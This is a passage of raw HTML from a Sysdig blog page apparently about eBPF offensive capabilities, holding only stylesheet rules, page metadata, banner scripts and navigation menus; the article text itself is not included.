!important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-background-color{background-color: var(--wp--preset--color--primary) !important;}.has-gray-10-background-color{background-color: var(--wp--preset--color--gray-10) !important;}.has-gray-20-background-color{background-color: var(--wp--preset--color--gray-20) !important;}.has-gray-30-background-color{background-color: var(--wp--preset--color--gray-30) !important;}.has-gray-40-background-color{background-color: var(--wp--preset--color--gray-40) !important;}.has-gray-50-background-color{background-color: var(--wp--preset--color--gray-50) !important;}.has-gray-60-background-color{background-color: var(--wp--preset--color--gray-60) !important;}.has-gray-70-background-color{background-color: var(--wp--preset--color--gray-70) !important;}.has-gray-80-background-color{background-color: var(--wp--preset--color--gray-80) !important;}.has-gray-90-background-color{background-color: var(--wp--preset--color--gray-90) !important;}.has-yellow-background-color{background-color: var(--wp--preset--color--yellow) !important;}.has-light-green-background-color{background-color: var(--wp--preset--color--light-green) !important;}.has-light-blue-background-color{background-color: var(--wp--preset--color--light-blue) !important;}.has-medium-blue-background-color{background-color: var(--wp--preset--color--medium-blue) !important;}.has-green-background-color{background-color: var(--wp--preset--color--green) !important;}.has-navy-background-color{background-color: var(--wp--preset--color--navy) !important;}.has-blue-background-color{background-color: var(--wp--preset--color--blue) !important;}.has-dark-blue-background-color{background-color: var(--wp--preset--color--dark-blue) !important;}.has-error-background-color{background-color: var(--wp--preset--color--error) !important;}.has-cucumber-background-color{background-color: var(--wp--preset--color--cucumber) !important;}.has-purple-background-color{background-color: var(--wp--preset--color--purple) !important;}.has-grey-background-color{background-color: var(--wp--preset--color--grey) !important;}.has-light-grey-background-color{background-color: var(--wp--preset--color--light-grey) !important;}.has-body-black-background-color{background-color: var(--wp--preset--color--body-black) !important;}.has-transparent-background-color{background-color: var(--wp--preset--color--transparent) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-border-color{border-color: var(--wp--preset--color--primary) !important;}.has-gray-10-border-color{border-color: var(--wp--preset--color--gray-10) !important;}.has-gray-20-border-color{border-color: var(--wp--preset--color--gray-20) !important;}.has-gray-30-border-color{border-color: var(--wp--preset--color--gray-30) !important;}.has-gray-40-border-color{border-color: var(--wp--preset--color--gray-40) !important;}.has-gray-50-border-color{border-color: var(--wp--preset--color--gray-50) !important;}.has-gray-60-border-color{border-color: var(--wp--preset--color--gray-60) !important;}.has-gray-70-border-color{border-color: var(--wp--preset--color--gray-70) !important;}.has-gray-80-border-color{border-color: var(--wp--preset--color--gray-80) !important;}.has-gray-90-border-color{border-color: var(--wp--preset--color--gray-90) !important;}.has-yellow-border-color{border-color: var(--wp--preset--color--yellow) !important;}.has-light-green-border-color{border-color: var(--wp--preset--color--light-green) !important;}.has-light-blue-border-color{border-color: var(--wp--preset--color--light-blue) !important;}.has-medium-blue-border-color{border-color: var(--wp--preset--color--medium-blue) !important;}.has-green-border-color{border-color: var(--wp--preset--color--green) !important;}.has-navy-border-color{border-color: var(--wp--preset--color--navy) !important;}.has-blue-border-color{border-color: var(--wp--preset--color--blue) !important;}.has-dark-blue-border-color{border-color: var(--wp--preset--color--dark-blue) !important;}.has-error-border-color{border-color: var(--wp--preset--color--error) !important;}.has-cucumber-border-color{border-color: var(--wp--preset--color--cucumber) !important;}.has-purple-border-color{border-color: var(--wp--preset--color--purple) !important;}.has-grey-border-color{border-color: var(--wp--preset--color--grey) !important;}.has-light-grey-border-color{border-color: var(--wp--preset--color--light-grey) !important;}.has-body-black-border-color{border-color: var(--wp--preset--color--body-black) !important;}.has-transparent-border-color{border-color: var(--wp--preset--color--transparent) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-black-to-blue-gradient-background{background: var(--wp--preset--gradient--black-to-blue) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-x-small-font-size{font-size: var(--wp--preset--font-size--x-small) !important;}.has-base-font-size{font-size: var(--wp--preset--font-size--base) !important;}.has-2-x-large-font-size{font-size: var(--wp--preset--font-size--2-x-large) !important;}.has-3-x-large-font-size{font-size: var(--wp--preset--font-size--3-x-large) !important;}.has-4-x-large-font-size{font-size: var(--wp--preset--font-size--4-x-large) !important;}.has-5-x-large-font-size{font-size: var(--wp--preset--font-size--5-x-large) !important;}.has-6-x-large-font-size{font-size: var(--wp--preset--font-size--6-x-large) !important;}.has-7-x-large-font-size{font-size: var(--wp--preset--font-size--7-x-large) !important;}.has-h-1-font-size{font-size: var(--wp--preset--font-size--h-1) !important;}.has-h-2-font-size{font-size: var(--wp--preset--font-size--h-2) !important;}.has-h-3-font-size{font-size: var(--wp--preset--font-size--h-3) !important;}.has-h-4-font-size{font-size: var(--wp--preset--font-size--h-4) !important;}.has-h-5-font-size{font-size: var(--wp--preset--font-size--h-5) !important;}.has-h-6-font-size{font-size: var(--wp--preset--font-size--h-6) !important;}.has-poppins-font-family{font-family: var(--wp--preset--font-family--poppins) !important;}.has-mulish-font-family{font-family: var(--wp--preset--font-family--mulish) !important;}.has-share-tech-mono-font-family{font-family: var(--wp--preset--font-family--share-tech-mono) !important;}
</style>
<!-- End output from print_late_styles() -->
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://sysdig.com/xmlrpc.php?rsd" />
<link rel='shortlink' href='https://sysdig.com/?p=78032' />
<link rel="alternate" type="application/json+oembed" href="https://sysdig.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsysdig.com%2Fblog%2Febpf-offensive-capabilities%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://sysdig.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fsysdig.com%2Fblog%2Febpf-offensive-capabilities%2F&#038;format=xml" />
<!-- Stream WordPress user activity plugin v4.0.0 -->
<meta name="author" content="Daniele Linguaglossa" /><meta itemprop="datePublished" content="2023-09-05" /><style id='wp-fonts-local' type='text/css'>
@font-face{font-family:Poppins;font-style:normal;font-weight:400;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-regular.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-regular.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Poppins;font-style:normal;font-weight:600;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-600.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-600.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Poppins;font-style:normal;font-weight:700;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-700.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/poppins/poppins-v20-latin-700.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Mulish;font-style:normal;font-weight:400;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-regular.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-regular.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Mulish;font-style:italic;font-weight:400;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-italic.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-italic.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Mulish;font-style:normal;font-weight:700;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-700.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-700.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:Mulish;font-style:italic;font-weight:700;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-700italic.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/mulish/mulish-v12-latin-700italic.ttf') format('truetype');font-stretch:normal;}
@font-face{font-family:"Share Tech Mono";font-style:normal;font-weight:400;font-display:fallback;src:url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/share-tech-mono/share-tech-mono-v15-latin-regular.woff2') format('woff2'), url('https://sysdig.com/wp-content/themes/sysdig/assets/fonts/share-tech-mono/share-tech-mono-v15-latin-regular.ttf') format('truetype');font-stretch:normal;}
</style>
<link rel="icon" href="https://sysdig.com/wp-content/uploads/favicon-150x150.png" sizes="32x32" />
<link rel="icon" href="https://sysdig.com/wp-content/uploads/favicon-350x350.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://sysdig.com/wp-content/uploads/favicon-350x350.png" />
<meta name="msapplication-TileImage" content="https://sysdig.com/wp-content/uploads/favicon-350x350.png" />
		<style type="text/css" id="wp-custom-css">
			h1 .u-text-underline.u-underline-teal,
h2 .u-text-underline.u-underline-teal{
	text-decoration: none;
}

@media (min-width:1150px) {
  .lg\:px-20 {
    padding-left: 3rem!important;
    padding-right: 3rem!important;
    min-width: 350px;
    max-width: 350px;
	  width: 350px;
  }
}
		</style>
		</head>

<body class="post-template-default single single-post postid-78032 single-format-standard wp-custom-logo wp-embed-responsive announcement-bar">
		
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-KHGG4KL" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
	
<div id="page" class="site">

	<div id="main-navigation" class="c-site-nav-wrap fixed-top bg-gray-80">
	
	
<style>
	.c-announcement-bar {
		min-height: 60px;
	}

	@media (min-width: 576px) {
		.c-announcement-bar {
			min-height: 22px;
		}
	}
</style>

<div id="announcement-bar" class="b-v4-block-container-banner bg-primary" data-banner-container>
    <div class="o-container container">
        <div class="c-announcement-bar flex flex-row flex-wrap items-center justify-center position-relative mr-4 gap-4">

			
					<a class="js-announcement no-underline text-gray-80 link-parent absolute flex gap-4 items-center transition-opacity duration-500 ease-in "
					   href="https://sysdig.com/blog/sysdig-leader-outperformer-gigaom-radar-container-security/" target="http://_blank">
					    						<span class="">Sysdig Named Leader and Outperformer in GigaOm Radar for Container Security&nbsp;
						<span class="inline md:ml-6 border-gray-80 border-0 border-b-2 border-solid whitespace-no-wrap">Learn More<span></span></span></span>
					</a>
					
				
					<a class="js-announcement no-underline text-gray-80 link-parent absolute flex gap-4 items-center transition-opacity duration-500 ease-in hidden"
					   href="https://sysdig.com/2024-cloud-native-security-and-usage-report/" target="http://_blank">
					    						<span class="">Discover the top trends and insights in cloud-native usage and security&nbsp;
						<span class="inline md:ml-6 border-gray-80 border-0 border-b-2 border-solid whitespace-no-wrap">Learn More<span></span></span></span>
					</a>
					
				
					<a class="js-announcement no-underline text-gray-80 link-parent absolute flex gap-4 items-center transition-opacity duration-500 ease-in hidden"
					   href="https://sysdig.com/blog/kuppingercole-names-sysdig-product-innovation-leader-cnapp/" target="">
					    						<span class="">Sysdig named a Product and Innovation Leader for CNAPP&nbsp;
						<span class="inline md:ml-6 border-gray-80 border-0 border-b-2 border-solid whitespace-no-wrap">Learn More<span></span></span></span>
					</a>
					
				
            <div class="b-v4-block-container-banner-x" data-banner-x></div>
        </div>
    </div>
</div>

<script>
	// Rotate through announcements
	(() => {
		const announcements = document.getElementsByClassName('js-announcement'),
		      length = announcements.length,
			  intervalLength = 4000
		var count = 1
		// Only rotate if more than one
		if ( length > 1 ) setInterval(switchAnnouncements, intervalLength)

		function switchAnnouncements() {
			for (let i = 0; i < announcements.length; i++) {
				// If the next slide prepare to show
				if ( i === count ) {
					announcements[i].classList.remove('hidden')
					announcements[i].classList.add('opacity-0')
				// Otherwise prepare to hide
				} else {
					announcements[i].classList.add('opacity-0')
				}
			}
			// Delay to allow fade transition before setting to display: none
			setTimeout(() => {
			for (let i = 0; i < announcements.length; i++) {
				// If the next slide show
				if ( i === count ) {
					announcements[i].classList.remove('opacity-0')
				// Otherwise hide
				} else {
					announcements[i].classList.add('hidden')
					announcements[i].classList.remove('opacity-0')
				}
			}

			// If reached the end reset to first slide
			if (count === (length - 1 )) {
				count = 0
			// Otherwise move to the next slide
			} else {
				count++
			}

			}, '500')
		 }
	})();
</script>

<script>
	// Hide banner persitently if close button clicked, store setting in cookie
	(() => {
		const announcementBar = document.cookie.split("; ").find((row) => row.startsWith("announcement_closed="))?.split("=")[1];
		const announcementBarElement = document.getElementById('announcement-bar');
		if (announcementBar === 'true') {
			announcementBarElement.style.display = 'none';
			document.querySelector('#page').style = '--banner-height: 0px';
		} else {
			const site = document.querySelector('#page');
			site.style = `--banner-height: ${announcementBarElement.offsetHeight}px`;
		}
	})();
</script>


    <nav class="navbar navbar-expand-lg">
        <div class="container h-full">

            <a class="navbar-brand ml-5 mr-6 lg:ml-0 lg:mr-8" href="https://sysdig.com/" rel="home">
                <img src="https://sysdig.com/wp-content/uploads/sysdig-logo-new-white.svg" alt="Sysdig" width="180" height="65" class="mb-0 " loading="eager">            </a>

                            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
                    <svg width="41" height="41" viewBox="0 0 41 41" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <line class="line-1" x1="7.98535" y1="12.9167" x2="32.2108" y2="12.9167" stroke="#ffffff"
                              stroke-width="1.5" stroke-linecap="round"/>
                        <line class="line-2" x1="7.98535" y1="20.152" x2="32.2108" y2="20.152" stroke="#ffffff"
                              stroke-width="1.5" stroke-linecap="round"/>
                        <line class="line-3" x1="7.98535" y1="27.3873" x2="32.2108" y2="27.3873" stroke="#ffffff"
                              stroke-width="1.5" stroke-linecap="round"/>
                    </svg>
                </button>

                <div class="collapse navbar-collapse" id="navbarNavDropdown">
                    <ul id="menu-main-navigation" class="navbar-nav items-start lg:items-center mt-2 lg:mt-0"><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55197" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55197" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Products<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55197" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Products</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55209" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Security<span></span></span></div>
	<ul aria-labelledby="menu-item-55209" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55205" class="font-bold menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/products/platform/" id="menu-item-dropdown-55205"><div class="position-relative inline">Sysdig Secure<span class="gradient-border"></span></div><div class="nav-description pt-1">CNAPP Powered by Runtime Insights</div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55211" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Observability<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-55205" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55210" class="font-bold menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/products/monitor/" id="menu-item-dropdown-55210"><div class="position-relative inline">Sysdig Monitor<span class="gradient-border"></span></div><div class="nav-description pt-1">Kubernetes and Prometheus Monitoring</div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-59719" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3  border_left   no-header "><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Platform &#8211; 3rd Column Header &#8211; Hidden<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-55210" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-69706" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/blog/cnapp-runtime-insights-shift-left-shield-right/" id="menu-item-dropdown-69706"><div class="position-relative inline">Why CNAPP?<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74336" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/why-runtime-insights/" id="menu-item-dropdown-74336"><div class="position-relative inline">Runtime Insights<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-76681" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/generative-ai/" id="menu-item-dropdown-76681"><div class="position-relative inline">Sysdig Sage GenAI<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56809" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/integrations/" id="menu-item-dropdown-56809"><div class="position-relative inline">Integrations<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56747" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/pricing-secure/" id="menu-item-dropdown-56747"><div class="position-relative inline">Pricing<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55198" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55198" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Solutions<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55198" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Solutions</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55214" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Security<span></span></span></div>
	<ul aria-labelledby="menu-item-55214" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56780" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/cloud-threat-detection-and-response/" id="menu-item-dropdown-56780"><div class="position-relative inline">Cloud Detection &#038; Response<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56777" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/vulnerability-management/" id="menu-item-dropdown-56777"><div class="position-relative inline">Vulnerability Management<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56778" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/cspm/" id="menu-item-dropdown-56778"><div class="position-relative inline">Posture Management<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-62623" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/permissions-entitlement-management/" id="menu-item-dropdown-62623"><div class="position-relative inline">Permissions &#038; Entitlement<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74347" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/server-threat-detection/" id="menu-item-dropdown-74347"><div class="position-relative inline">Server Threat Detection<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55227" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Observability<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-74347" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56789" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/kubernetes-monitoring/" id="menu-item-dropdown-56789"><div class="position-relative inline">Kubernetes Monitoring<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56787" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/prometheus-monitoring/" id="menu-item-dropdown-56787"><div class="position-relative inline">Prometheus Monitoring<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56792" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/custom-metrics/" id="menu-item-dropdown-56792"><div class="position-relative inline">Custom Metrics<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56788" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/cloud-monitoring/" id="menu-item-dropdown-56788"><div class="position-relative inline">Cloud Monitoring<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56793" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/cost-optimization/" id="menu-item-dropdown-56793"><div class="position-relative inline">Cost Optimization<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-79241" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/cloud-native-observability-solutions/" id="menu-item-dropdown-79241"><div class="position-relative inline">View All<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55228" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Environments<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-79241" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57499" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/solutions/container-and-kubernetes-security/" id="menu-item-dropdown-57499"><div class="position-relative inline">Kubernetes &#038; Containers<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57552" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/ecosystem/serverless/" id="menu-item-dropdown-57552"><div class="position-relative inline">Serverless<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57450" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/ecosystem/aws/" id="menu-item-dropdown-57450"><div class="position-relative inline">Amazon Web Services<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57573" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/ecosystem/google-cloud/" id="menu-item-dropdown-57573"><div class="position-relative inline">Google Cloud<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57582" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/ecosystem/microsoft-azure/" id="menu-item-dropdown-57582"><div class="position-relative inline">Microsoft Azure<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57606" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/ecosystem/ibm/" id="menu-item-dropdown-57606"><div class="position-relative inline">IBM Cloud<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-58592" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/ecosystem/" id="menu-item-dropdown-58592"><div class="position-relative inline">View All<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55199" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55199" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Open Source<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55199" role="menu">
